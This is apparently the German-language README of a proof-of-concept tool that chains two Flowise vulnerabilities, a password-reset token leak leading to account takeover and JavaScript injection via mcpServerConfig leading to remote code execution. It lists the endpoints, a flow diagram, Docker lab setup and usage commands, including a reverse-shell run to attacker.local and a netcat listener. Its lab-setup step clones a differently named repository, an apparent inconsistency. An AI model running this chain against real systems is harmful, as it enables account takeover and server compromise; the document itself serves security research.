
FlowiseAI CVE-2025-58434 & CVE-2025-59528 Exploit PoC, demonstriert unauthenticated ATO über Reset-Token-Lackage, gefolgt von authenticated RCE. Enthält eine reproduzierbare Docker-Laborumgebung.
⚠️ Nur für Bildungszwecke und autorisierte Sicherheitsforschung. Das Ausführen dieses Tools gegen Systeme, die Sie nicht besitzen oder für die Sie keine schriftliche Erlaubnis zum Testen haben, ist illegal.
Dieses Repository enthält einen Python-Proof-of-Concept zur Verkettung von zwei Flowise-Sicherheitslücken:
Flowise ist eine Drag-and-Drop-Plattform zum Erstellen von LLM-Anwendungen und KI-Agenten-Workflows. CVE-2025-59528 betrifft Flowise 3.0.5 und wurde in 3.0.6 behoben. Das Problem entsteht durch unsichere Verarbeitung von mcpServerConfig im CustomMCP-Knoten. CVE-2025-58434 betrifft die Offenlegung von Passwort-Reset-Tokens und wurde ebenfalls in Flowise 3.0.6 behoben.
Das Tool unterstützt:
Der anfällige Passwort-Reset-Ablauf legt vertrauliche Benutzerdaten, einschließlich temporärer Passwort-Reset-Token, in der API-Antwort offen. Ein Angreifer, der eine gültige Benutzer-E-Mail-Adresse kennt, kann einen Passwort-Reset anfordern, das temporäre Token aus der Antwort abrufen und es verwenden, um ein neues Passwort für das Konto festzulegen.
Das anfällige Verhalten betrifft Flowise Cloud und selbst gehostete/lokale Bereitstellungen, die dieselbe API-Oberfläche bereitstellen. Die Abhilfe besteht darin, niemals Passwort-Reset-Token oder vertrauliche Konten-Reset-Daten direkt in API-Antworten zurückzugeben.
Die Sicherheitslücke existiert im CustomMCP-Knoten von Flowise. Der Parameter mcpServerConfig wird als Teil des MCP-Serverkonfigurationsprozesses geparst und ohne Sicherheitsüberprüfung als JavaScript-Code ausgewertet. Dies ermöglicht es einem authentifizierten Angreifer, beliebigen JavaScript-Code zu injizieren, der in der Node.js-Umgebung des Flowise-Servers ausgeführt wird. In der Funktion convertToValidJSONString wird die Benutzereingabe an den Function-Konstruktor übergeben, der die Eingabe als JavaScript-Code mit vollständigen Node.js-Berechtigungen auswertet und so Zugriff auf Module wie child_process zur Ausführung von Systembefehlen ermöglicht.
Der anfällige Endpunkt, der von diesem PoC verwendet wird, ist:
POST /api/v1/node-load-method/customMCP
mit JS-Payload im Feld mcpServerConfig des JSON-Bodys, zum Beispiel:
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "..."
}
}
Der anfällige Code befindet sich in der Datei CustomMCP.ts und wird im Github Maintainer Advisory für die CVE referenziert.
Attacker Flowise
│ │
│ [CVE-2025-58434] │
│ POST /api/v1/account/forgot-password │
│ { email } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ user object + tempToken │
│ │
│ POST /api/v1/account/reset-password │
│ { email, tempToken, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ password changed │
│ │
│ POST /api/v1/auth/login │
│ { email, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ token / refreshToken / connect.sid │
│ │
│ [CVE-2025-59528] │
│ POST /api/v1/node-load-method/customMCP │
│ mcpServerConfig=<crafted config> │
│─────────────────────────────────────────►│
│ JS evaluated in Node.js
│ command executed
│◄─────────────────────────────────────────│
│ command output or payload fired │
│ │
✓ Account takeover + authenticated RCE
Repository Structure
CVE-2025-58434-CVE-2025-59528/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
└── logs/
git clone https://github.com/0xDaeras/CVE-2025-58434-CVE-2025-59528-POC.git
cd CVE-2025-58434-CVE-2025-59528-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # Configure environment variables
docker-compose up -d
Ohne Argumente führt das Tool die vollständige Angriffskette aus, überprüft die Ziel-Sicherheitslücke, führt eine Kontenübernahme für die angegebene E-Mail durch, meldet sich an, um Cookies abzurufen, und nutzt dann die RCE-Sicherheitslücke mit einem Reverse-Shell-Payload aus. Starten Sie einen dedizierten Listener (z.B. nc -lvnp 9889), bevor Sie das Tool im Vollkettenmodus ausführen.
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889
python3 exploit.py -h
Führt eine Versionsprüfung durch, um festzustellen, ob das Ziel für CVE-2025-58434 und CVE-2025-59528 anfällig ist. Es sendet eine Anfrage an die API des Ziels und analysiert die Antwort, um die Flowise-Version und den Sicherheitslückenstatus zu identifizieren.
python3 exploit.py --target http://localhost:3000 check
Führt den Kontenübernahmeprozess für CVE-2025-58434 aus. Es sendet eine Passwort-Reset-Anfrage für die angegebene E-Mail, ruft das temporäre Token aus der Antwort ab und verwendet dieses Token, um ein neues Passwort (Standard: „Password123!") für das Konto festzulegen.
python3 exploit.py --target http://localhost:3000 --email [email protected] ato-mode